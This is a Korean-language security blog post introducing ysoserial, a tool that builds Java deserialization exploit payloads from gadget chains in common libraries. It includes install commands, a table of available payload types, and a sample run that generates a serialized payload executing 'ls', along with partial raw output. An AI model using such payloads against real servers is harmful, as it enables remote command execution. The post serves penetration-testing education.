YSoSerial - Java object deserialization payload generator

2017년 OWASP TOP10에 새로운 공격 벡터가 올라왔었는데요. 바로 Insecure deserialization 입니다. (https://www.hahwul.com/2017/10/web-hacking-owasp-top-10-2017-rc2-review.html )

은근히 포인트가 많지만 실제 공격 성공으로 만들기엔 조건이 까다로운 경우가 많은데요. 오늘은 그 까다로운 경우 중 하나인 Payload 만들기, 그 중에서도 이를 쉽게 지원해주는 툴에 대한 이야기를 하려고 합니다.

YSoSerial(Why so serious)

ysoserial

위에서 간략히 설명드린대로 Deserialization을 위한 도구이며 Jocker의 명대사인 Why so serious를 모티브로 이름을 지은 것으로 보입니다. (네이밍 센스보소..)

Deserialization 시 JSON이나 여러 포맷으로 저장된 데이터를 Object, String, Interger 등 내부 코드로 환원하는데 이 과정에서 악의적인 Object, 즉 코드를 삽입한다는 것은 익히 아시고 계실겁니다. 다만 실제로 테스팅시에는 그리 호락호락하진 않았습니다. deserialization 포인트가 있다고 해도 사용할 수 있는 Method의 제한을 받고있고, 이를 기반으로 Payload 를 생성하는 것도 굉장히 불편한 일이죠. (대부분 취약점 분석이 그렇겠지만.. BlackBox Testing 이면 더더욱…)

ysoserial은 공격자가 원하는 명령 수행을 쉽게 하기 위해 gadget chains을 이용하여 payload를 생성해줍니다. 코드를 볼 수 있는 경우에는 덜하겠지만 코드를 보지 못하는 환경에서 공격코드 구현은 Binary exploit이 됩니다. 이는 매우 노가다이고 힘들기에, 대상 어플리케이션에서 사용하는 라이브러리를 이용하여 Payload를 만들어 사용합니다. (이러면 직접 다 구현할 필요가 없어지죠)

공용 라이브러리에서 추출한 가젯을 가지고 페이로드를 빌드하는 것을 가젯 체인으로 부르는 것 같습니다.

Install

나름 긴 설명이 있었으니 후딱 설치해서 테스팅해봅시다. ysoserial은 Java code로 구현되어서 jar로 압축하여 사용 가능합니다. 아래 git에서 clone 받아 maven으로 빌드해주셔도 되고, JitPack에 올라온 build된 jar 파일을 바로 사용하셔도 좋습니다.

Git

#> git clone https://github.com/frohoff/ysoserial

JitPack

#> wget https://jitpack.io/com/github/frohoff/ysoserial/master/ysoserial-master.jar

다운로드/빌드가 완료되면..

#> java -jar ysoserial-master.jar

Payload type

오늘자 기준으로 대략 30개 정도의 payload 옵션이 존재합니다. 각각 Java~Framework 버전에 따라 사용하실 수 있습니다.

  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

Generate Payload!

1번쨰 인자값으로 Payload 옵션을 넘겨주고 두번째 인자값으로 실행할 명령을 넘겨주면 됩니다.

#> java -jar ysoserial-master.jar Spring2 ls
��srIorg.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider�J��A�IindexL
methodNametLjava/lang/String;providert?Lorg/springframework/core/SerializableTypeWrapper$TypeProvider;xptnewTransformers}=org.springframework.core.SerializableTypeWrapper$TypeProviderxrjava.lang.reflect.Proxy�'� �C�Lht%Ljava/lang/reflect/InvocationHandler;xpsr2sun.reflect.annotation.AnnotationInvocationHandlerU���~�L
[....]

기본적으로는 화면에 출력하게 되고, 이를 파일로 저장하고 Burp에서 값을 불러와 사용해도 됩니다.

#> java -jar ysoserial.jar Spring2 ls > d_payload.txt
#> ftc d_payload.txt
[+] Success copy 4090 length data to clipboard